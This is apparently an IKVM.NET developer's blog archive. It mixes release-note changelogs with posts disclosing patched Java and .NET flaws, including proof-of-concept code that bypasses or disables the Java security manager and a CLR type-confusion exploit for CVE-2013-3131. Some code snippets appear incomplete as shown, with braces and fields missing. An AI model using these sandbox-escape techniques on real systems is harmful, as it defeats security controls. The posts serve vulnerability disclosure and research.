# Tuesday, February 4, 2014
New Development Snapshot

I was at FOSDEM last weekend and was reminded that I hadn't released any IKVM.NET updates in a while. So lets try to get back on the wagon.


  • Don't use CLR v2 peverify when targetting CLR v4.
  • Support inner classes in "new style" native methods.
  • Bug fix. Bypass security manager check when getting ikvm.reflect.field.inflationThreshold system property.
  • Bug fix. Volatile long & double fields cannot use slow path reflection, because .NET reflection does not ensure atomic reads/writes.
  • Reduced the number of cases where slow-path field reflection can't be used.
  • Allow slow path field reflection on remapped types and handle the unsupported scenarios explicitly.
  • Removed ICustomInvoke.
  • Changed Exception.writeReplace() method into a DynamicOnly method, because there's no real gain in using "fast" reflection.
  • Bug fix. We need to promote integral values to the proper type when calling a DynamicOnly method via reflection.
  • Unified the MethodWrapper.Invoke() semantics.
  • Added NO_REF_EMIT conditional compilation support for reflection.
  • Added no-ref-emit build target.
  • Fixed ILGenerator.EmitCalli() to not add the sentinel if there are no varargs.
  • Reimplemented JNI non-virtual method invocation based on delegates instead of DynamicMethod.
  • Emit non-virtual invocation delegate types when compiling with the -static option.
  • Made annotation custom attribute decoding lazy to work around issue reported in #270.
  • Removed unneeded use of reflection from AnnotationAttributeBase.
  • Made accidentally public methods AnnotationAttributeBase.newAnnotation() and AnnotationAttributeBase.decodeElementValue() internal.
  • Made AnnotationAttributeBase.writeReplace() method private.
  • Fixed various minor AnnotationAttributeBase issues.
  • Added (partial) support for Java 8 MethodParameters attribute.
  • Introduced EMITTERS conditional compilation constant.
  • Added a (partial) NO_REF_EMIT implementation of the DynamicCreateDelegate error hander.
  • If ikvmc -static option is used, don't add the InternalsVisibleTo("...-ikvm-runtime-injected") attribute.
  • Validate constant pool items referenced by EnclosingMethod attribute.
  • Updated Mono workaround for Mono 3.0.x.
  • Don't issue "warning IKVMC0100: Class "{0}" not found" for types that are only used in signatures.
  • Fixed JInternalFrame paint issue.
  • Performance fix. When throwing a ClassNotFoundException from Class.forName() or AssemblyClassLoader.loadClass() we should avoid calling fillInStackTrace() on the exception.
  • Bug fix. Check for supported delegate signatures should detect pointers inside byref and array types and return type should be checked as well.
  • Bug fix. Fake nested types should have Static modifier set in innerclasses attribute. Fixes scala compiler interop issue. Thanks to Michael Bayne for reporting this.
  • Bug fix. ikvmstub -skiperror should also skip errors during WriteClass.
  • Handle signatures with function pointer types in ikvmc and ikvmstub.
    Made BufferedImage.toBitmap() package private.
  • Fixed BufferedImage sync issues.
  • Add @Repeatable annotation to custom attribute annotations that AllowMultiple (when IKVM_EXPERIMENTAL_JDK_8 is defined).
  • Implemented getCurrentThreadCpuTime in management API.
  • Added support for binding method handles to methods that require CallerID.
  • Bug fix. String.CaseInsensitiveComparator inner class should be acknowledged by String.
  • Removed -X options from standard help text and added -X option to print -X options.
  • Change class format error exception message for missing Code attribute to same text as OpenJDK.
  • Allow Java 8 classes to use invokeStatic method handle constants that refer to InterfaceMethodref.
  • Bug fix. Non-blocking SocketChannel read/write with array of ByteBuffer would throw exception instead of returning 0 bytes read/written when no more buffer space is available.
  • Don't add SourceFileAttribute for inner classes if the name matches the outer class.
  • Use StringComparison.Ordinal when checking inner vs outer class names.
  • Compile anonymous and local classes as nested types.
  • Don't store class name in EnclosingMethodAttribute if we can use the DeclaringType.
  • Added optimization to omit ImplementAttribute in some cases.
  • Added optimization to omit InnerClassesAttribute to record reflective modifiers when we can predict them.
  • Updated java.sql.DriverManager to OpenJDK 7 (somehow this file was previously missed).
  • Merged in some missing changes in java.io.ObjectStreamClass.
  • Switched from @HasCallerID to @CallerSensitive and merged CallerSenstive related 7u40 changes.
  • Added ikvmstub -parameters option to add parameter names to stub classes.
  • Updated Throwable.initCause() and Throwable.addSuppressed() exceptions to match OpenJDK 7u40.
  • Fixed the SHFILEINFO declaration. Thanks to Andras Kovacs for reporting this.
  • Merged OpenJDK 7u40 changes to use SO_EXCLUSIVEADDRUSE for datagram sockets that don't use SO_REUSEADDR.
  • If an annotation is inconsistent with the annotation type, we should still record it as a dynamic annotation.
  • If an annotation's type does not exist, the annotation should be ignored instead of throwing an exception.
  • If an annotation is (no longer) RetentionPolicy.RUNTIME it should not be returned.
  • If an annotation is of a type that is not an annotation, it should be ignored.
  • Annotations that contain no longer existing values should not fail, but just ignore the value.
  • Class or enum values in annotations that refer to non-existing types should use TypeNotPresentExceptionProxy as the value, instead of failing to create the annotation.
  • Emulate some JDK annotation bugs.
  • If an annotation value is of the wrong type, use AnnotationTypeMismatchExceptionProxy as the value, instead of failing to create the annotation.
  • Fixed handling of annotations with invalid type signatures.
  • Fixed race condition in MethodWrapper.ResolveMethod().
  • Fix for bug #282. A potential fault block can't throw an exception from another fault block.
  • Improved trace message for JNI loadLibrary failure.
  • Improved handling of missing types (from missing assemblies in ikvmc).
  • Avoid reflection in creating ConditionalWeakTable value objects. Thanks to Michael Bayne for the idea.
  • Fixed method handle custom invoke to downcast the return type. Without the cast .NET 4.0 would throw a verification exception.
  • Implemented the StandardGlypVector constuctor with glyphs
  • Bug fix. JNI NewStringUTF should accept null pointer.
  • Bug fix. JNI Throw(NULL) should not clear pending exception.
  • Bug fix. JNI ThrowNew(..., NULL) should use default constructor.
  • Fixed initialization order issue. Don't abuse System.out to check if class library intialization is complete.
  • Bug fix. If a property getter/setter is accessed in a static initializer, it is not side-effect free.
  • IKVM.Reflection: Fixed DefineDynamicAssembly() overload taking an IEnumerable to accept null.
  • IKVM.Reflection: Added new .NET 4.5 static AssemblyBuilder.DefineDynamicAssembly() methods. They implicitly create a universe.
  • IKVM.Reflection: Added Universe.FromAssembly() API.
  • IKVM.Reflection: Bug fix. Fixed NRE in __StandAloneMethodSig.ContainsMissingType.
  • IKVM.Reflection: Use StringComparison.OrdinalIgnoreCase instead of StringComparison.InvariantCultureIgnoreCase.
  • IKVM.Reflection: Fixed unmanaged export table name sorting.
  • IKVM.Reflection: Expose ImageRuntimeVersion and MDStreamVersion on RawModule.
  • IKVM.Reflection: Bug fix. Assembly.Location should return "" instead of null, if there is no location.
  • IKVM.Reflection: Added Universe.OpenMappedRawModule() API to enable reading modules from memory or a crash dump file.
  • IKVM.Reflection: Fixed assembly name parsing to handle quoted keys and values. Thanks to Ian Battersby for reporting this.
  • IKVM.Reflection: Added the 4.5 (reference) assemblies to the framework list. The previous assumption was that we only need to add assemblies for previous frameworks, but that turns out to be incorrect because the list affects CompareAssemblyIdentity() which returns EquivalentFXUnified for framework assemblies.
  • IKVM.Reflection: ProcessorArchitecture should be read from flags and not its own field. This fixes the bug that GetReferencedAssemblies() did not return the ProcessorArchitecture part of the assembly flags.
  • IKVM.Reflection: Fixed assembly reference resolution issues (Name was not escape, Retargetable and ContentType attributes were not added, PublicKey was not converted to PublicKeyToken).
  • IKVM.Reflection: Fixed CompareAssemblyIdentity handling of Retargetable and added PublicKeyToken remapping.
  • IKVM.Reflection: Implemented WinMD projection support.
  • IKVM.Reflection: Fixed WindowsRuntime assembly detection (for projection purposes).
  • IKVM.Reflection: Added projection support for mixed CLR/WindowsRuntime assemblies.
  • IKVM.Reflection: Rewrote assembly name comparison to better handle remapping and Retargetable.
  • IKVM.Reflection: Moved version number parsing out of assembly name parser, because it turns out that AssemblyName and Fusion use different version number parsing rules.
  • IKVM.Reflection: Bug fix. ExceptionHandler.Equals(object) called itself instead of Equals(ExceptionHandler).
  • IKVM.Reflection: Only (incorrectly) set the TypeDefId for exported types from another assembly if we're targetting .NET 2.0 where .NET does so too and peverify warns if it isn't set.
  • IKVM.Reflection: Added new overload for __AddTypeForwarder() that takes an additional bool to disable automatically forwarding nested types.
  • IKVM.Reflection: Fix for bug #283.
  • IKVM.Reflection: Throw TypeLoadException when exported type (indirectly) points to itself.
  • IKVM.Reflection: When a cyclic type forwarder is found and UniverseOptions.ResolveMissingMembers is set, we should not throw an exception but instead create a missing type. Added a new Type.__IsCyclicTypeForwarder property to allow detecting this case.
  • IKVM.Reflection: Bug fix. Assembly may contain both PublicKeyToken and PublicKey if they are the same identity.

Binaries available here: ikvmbin-7.4.5148.zip

Tuesday, February 4, 2014 4:32:04 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Thursday, January 16, 2014
Publicly Reported OpenJDK Vulnerability Fixed in 7u51

I tweeted a while ago about an OpenJDK vulnerability that was reported on one of the mailing lists.

Now that it has been fixed in 7u51, here is a simple PoC exploit:

import java.lang.invoke.*;

class test extends java.io.FileOutputStream {
  static test t;

  test() throws Exception {

  protected void finalize() {
    t = this;

  public static void main(String[] args) throws Throwable {
    MethodHandle mh = MethodHandles.lookup().findVirtual(test.class, "open",
                        MethodType.methodType(void.class, String.class, boolean.class));
    try { new test(); } catch (Exception _) { }
    mh.invokeExact(t, "oops.txt", false);

Run this with a security manager enabled on a version earlier than 7u51 and it'll create the file oops.txt, even though the code doesn't have the rights to do so.

Thursday, January 16, 2014 8:50:59 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]
# Tuesday, October 29, 2013
Java Method Overriding Is FUBAR Part 8 of ∞

Due to my laziness and lameness my previous post wasn't as convincing as it should have been, so I'm going to try again.

Take this code:

class A {
  public static void main(String[] args) {
    A obj = new B();
    obj = null;

  protected void finalize() {

class B extends A {
  private void fin_lize() {

Compile this and patch B.class to replace fin_lize with finalize.

What is the expected output of this program? In my opinion it is:


This is also the output that both JDK 1.1 and IKVM.NET give. However, on JDK 1.5 and up the output is:


This did not change in the 7u45 update.

To me the above is already enough to obviously demonstrate the problem, but since I'm apparently somewhat atypical I'm going to try to explain a bit more carefully.

  1. The Java 7 vmspec claims that private methods can override base class methods.
  2. JVMS section 5.4.5. Method overriding was added in the Java 7 edition of the JVMS. It is clearly incorrect as it disagrees with both previous and current behavior of all known JVMs.
  3. Given that private methods do not in fact override any methods, the check for final base class methods that was introduced in 7u45 is bogus.
  4. What should have been fixed in 7u45 is the native code that calls the finalize method, as it clearly needs to do a virtual invocation of Object.finalize() not call the private B.finalize method.

I hope I've done a better job now of making clear way the 7u45 update is bogus, the JVMS spec change is wrong and that finalization still needs to be fixed.

Tuesday, October 29, 2013 1:53:34 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]
# Thursday, October 17, 2013
Java Method Overriding Is FUBAR Part 7 of ∞

My friends at Oracle seem determined to make me finish my infinite series of blog posts of Java method overriding.

Before the 7u45 security update the following (pseudo) code ran fine:

class A {
  final void m() { }

class B extends A {
  private void m() { }

Now with 7u45, loading class B throws an exception:

java.lang.VerifyError: class B overrides final method m.()V

This makes no sense at all and is a misguided attempt to fix the issue I reported here. Ironically, it doesn't even completely fix the issue, because a static finalize method still prevents the final finalizer from running:

class A {
  protected void finalize() {

class B extends A {
  public static void main(String[] args) {
    new B();

  private static void finalize() { }

Pre-emptive comment about comments: Feel free to leave comments, but I'm not going to respond to people that clearly don't have a clue.

Update: I misread the spec. The change is actually in line with the spec. Unfortunately the spec is wrong.

Thursday, October 17, 2013 9:33:48 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [8]
# Wednesday, July 10, 2013
Type Confusion PoC for CVE-2013-3131 (MS13-052)

I did not discover this vulnerability (Alon Fliess filed the (public) bug report), but I decided to investigate it and write a PoC exploit:

using System;
using System.Runtime.CompilerServices;

struct Foo {
  byte b1, b2, b3;

class U1 { }
class U2 { }

struct StackFields {
  internal object f1;
  internal U1 f2;
  internal U2 f3;

class Program {
  long field1;
  long field2;

  static void Main() {
    new Program().Get(new Foo[1, 1]);

  object Get(T[,] arr) {
    StackFields fields = new StackFields();
    fields.f1 = new U1();
    fields.f2 = new U1();
    fields.f3 = new U2();
    object v = arr[0, 0];
    field2 = field1;
    return v;

This requires .NET 4.5 x64 (and must be built/run in release mode).

The bug is that the array accessor that is generated clobbers the RSI and RDI registers.

Wednesday, July 10, 2013 1:05:47 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
# Thursday, May 30, 2013
Overriding a Final Finalize

Compile the following code:

class Base {
  protected final void finalize() {

class Derived extends Base {
  private void fin_lize() {

  public static void main(String[] args) {
    new Derived();

Now patch Derived.class with a hex editor to change fin_lize to finalize. Run with OpenJDK or Oracle JRE/JDK and observe that Derived.finalize is printed.

This happens because the finalize method is called via JNI reflection and the method name is resolved against the real object type instead of java.lang.Object. The OpenJDK code can be seen here.

A better way to do this would be to add an invokeFinalize method to JavaLangAccess. This avoids the expense of native code and reflection.

Thursday, May 30, 2013 4:11:44 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [14]
# Thursday, April 18, 2013
The End of ACC_SUPER

Yesterday I wrote about the security issue fixed in Update 21. Today I'll describe the "Security-In-Depth" issue.

As a result of the Thread Cloning Vulnerability, Oracle removed honoring the absense of ACC_SUPER from HotSpot in Update 13. The HotSpot patch can be seen here.

Again, while working on IKVM's dynamic binding, I found that it was still possible to do a non-virtual invocation of an overridden method by using a MethodHandle. This was fixed in Update 21.

Here's an example that uses Indify to generate the MethodHandle constants and manages to call Object.clone() on a Thread object on Update 13:

import java.lang.invoke.*;

class test extends Thread implements Cloneable {
  public static void main(String[] args) throws Throwable {
    test obj = new test();
    System.out.println(obj == MH_1().invokeExact(obj));

  private static MethodHandle MH_1() throws Throwable {
    return MethodHandles.lookup().findSpecial(Object.class, "clone", MethodType.methodType(Object.class), test.class);

You can compile and run this without Indify and it will show the problem (on versions before Update 21), but you need to run Indify to make it work with an active SecurityManager.

The difference between looking up method handles via the API versus using MethodHandle constants is analogous to the difference between normal bytecode method invocation and classic reflection. When going via the API the SecurityManager is involved, but the runtime linker does not call the SecurityManager. MethodHandle constants (when they are properly implemented) don't allow you to do anything that normal bytecode can't do. This is why the claim made by Security Explorations about Issue 54 was incorrect.

Thursday, April 18, 2013 8:55:58 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Wednesday, April 17, 2013
Java 7 Update 21

While I was working on rewriting IKVM's dynamic binding support based on method handles I stumbled into a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite public final fields. This has been fixed in Update 21.

Below is a proof of concept that disables the security manager. It works by changing Double.TYPE to Integer.TYPE and then using reflection to copy an integer field from one object to another, but because of the patched TYPE fields reflection thinks the integer field is a double and copies 8 bytes instead of 4.

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Field;
import static java.lang.invoke.MethodHandles.lookup;

class Union1 {
  int field1;
  Object field2;

class Union2 {
  int field1;
  SystemClass field2;

class SystemClass {
  Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,

class PoC {
  public static void main(String[] args) throws Throwable {

  static void disableSecurityManager() throws Throwable {
    MethodHandle mh1, mh2;
    mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);
    mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);
    Field fld1 = Union1.class.getDeclaredField("field1");
    Field fld2 = Union2.class.getDeclaredField("field1");
    Class classInt = int.class;
    Class classDouble = double.class;
    Union1 u1 = new Union1();
    u1.field2 = System.class;
    Union2 u2 = new Union2();
    fld2.set(u2, fld1.get(u1));
    if (u2.field2.f29 == System.getSecurityManager()) {
      u2.field2.f29 = null;
    } else if (u2.field2.f30 == System.getSecurityManager()) {
      u2.field2.f30 = null;
    } else {
      System.out.println("security manager field not found");
Wednesday, April 17, 2013 8:00:08 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
# Thursday, March 28, 2013
IKVM.NET 7.3 Release Candidate 0

The first release candidate is available. It can be downloaded here or from NuGet.

What's New (relative to IKVM.NET 7.2):

  • Greatly improved support for dynamically loading classes in statically compiled assembly class loaders.
  • Changed ikvmc to default to using runtime binding when a class is not available at compile time.
  • Fixed ikvmc to use jar class loading that matches the runtime.
  • The runtime now projects stub classes into the (virtual file system) jars they came from.
  • Runtime stub classes are now generated by the same code as ikvmstub uses.
  • Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.
  • Fixed memory model bugs on ARM.
  • Many bug fixes.
  • Improved ikvmc error messages.
  • Deprecated using stub classes with ikvmc.
  • Added IKVM.Attributes.JavaResourceAttribute to allow .NET resource to be exposed to Java.
  • Font API improvements.
  • Graphics API improvements.
  • Support building IKVM.NET on .NET 4.5, but targetting .NET 4.0.

Changes since previous development snapshot:

  • Volatile long/double fields should not use slow reflection.
  • Reduce complexity of annotation custom attributes construction to improve performance and lower risk (for broken apps that should have used ReflectionOnly).
  • Removed accidentally public methods from ikvm.internal.AnnotationAttributeBase.
  • Fixed ikvm.internal.AnnotationAttributeBase to freeze in writeReplace/Equals/GetHashCode/ToString.

Binaries available here: ikvmbin-7.3.4830.0.zip

Sources: ikvmsrc-7.3.4830.0.zip, openjdk-7u6-b24-stripped.zip

Thursday, March 28, 2013 9:27:31 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [8]
# Tuesday, March 19, 2013
New Development Snapshot

My burst of inspiration ended. So I guess it's time to do a release soon.


  • Expose Java 8 static interface methods as static methods via nested __Methods type.
  • Expose Java 8 default interface methods as static methods via nested __DefaultMethods type.
  • Build fix. When doing a clean build the two generated Java source files don't exist yet, so we process the .in files instead.
  • Added nuget package creation build file.

Binaries available here: ikvmbin-7.3.4826.zip

Tuesday, March 19, 2013 12:28:00 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]